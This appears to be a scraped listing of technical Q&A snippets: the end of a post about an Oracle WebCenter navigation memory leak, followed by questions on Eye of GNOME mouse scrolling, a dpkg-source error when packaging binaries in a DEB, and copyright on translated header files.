conflict between the custom java script with the ADF frameworks own scripting to control the view.  The recommendation here, would be to use a pure CSS approach to acheive the dropdown effects. One very important thing to note.  Due to another BUG, the WebCenter environement must be patched to BP3 (patch  p14076906).  Otherwise the leak is still present using the goLinkPrettyUrl method.  Thanks E.T.!  Now I can phone home and not worry about my application running out of resources due to my custom navigation! 

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  • Changing mouse behaviour in EOG

    - by Wauzl
    When I open a photo in eog I can easily zoom with the mouse mouse wheel. This is kind of nice but since I have a touchpad with two-fingered scrolling and horizontal scrolling I'd rather scroll in the image and zoom by using Ctrl+Mouse Wheel? I basically want the same behaviour as in evince: Horizontal Scroll and Normal Scroll navigate within the image and Ctrl + Mouse Wheel zooms in and out. Is this possible somehow? [EDIT] I just figured out that what I want is already implemented: I can pan the image by using Ctrl + Mouse Wheel. This is fine as it is the behaviour I want only with the Ctrl inverted. But I cannot pan to the left. Up, down and right work fine. What's the problem?

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  • Include Binary Files in DEB package

    - by user22611
    I need to build a DEB package from mainly Node.js Javascript files, but it should include some binary files as well. They are listed inside debian/source/include-binaries. Otherwise I get the error message dpkg-source: error: unrepresentable changes to source The command in question is: bzr builddeb -- -us -uc After adding the file include-binaries, when running bzr builddeb -- -us -uc again, now I get a different error: It says dpkg-source: error: aborting due to unexpected upstream changes, see /tmp/mailadmin_0.0-1.diff.n6m5_6 I have no idea how to get rid of this. In the next line of output it tells me dpkg-source: info: you can integrate the local changes with dpkg-source --commit But if I run this command in the build area of my package, it gives me the unrepresentable changes to source error message again, even though debian/source/include-binaries is present in the build area as well. I am missing the way out of this... I tried deleting all files that are produced by the build process, still no success. Further details: The target directory is /opt/mailadmin. Since this directory is unusual, I listed it in the file debian/mailadmin.install (which contains one line:) opt/mailadmin opt/ The bzr builddeb process uses this file as expected.

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  • How does copyrights apply to source code header files?

    - by Jim McKeeth
    It seems I heard that header files are not considered copyrightable since they can only be written one way (like a list of ingredients or facts). So a header file for a specific DLL will always look the same when written in a given programming language. Unfortunately I can't find any resources to back this up. So if a vendor provides an SDK with headers in one programming language, and then those headers are translated into another programming language by a third party. Does the 3rd party need permission from the vendor to provide the header translation? Who owns the copyright on the translation? Isn't it a derivative work still owned by the vendor, or is there no copyright, like a list of ingredients? Does this vary from jurisdiction to jurisdiction?

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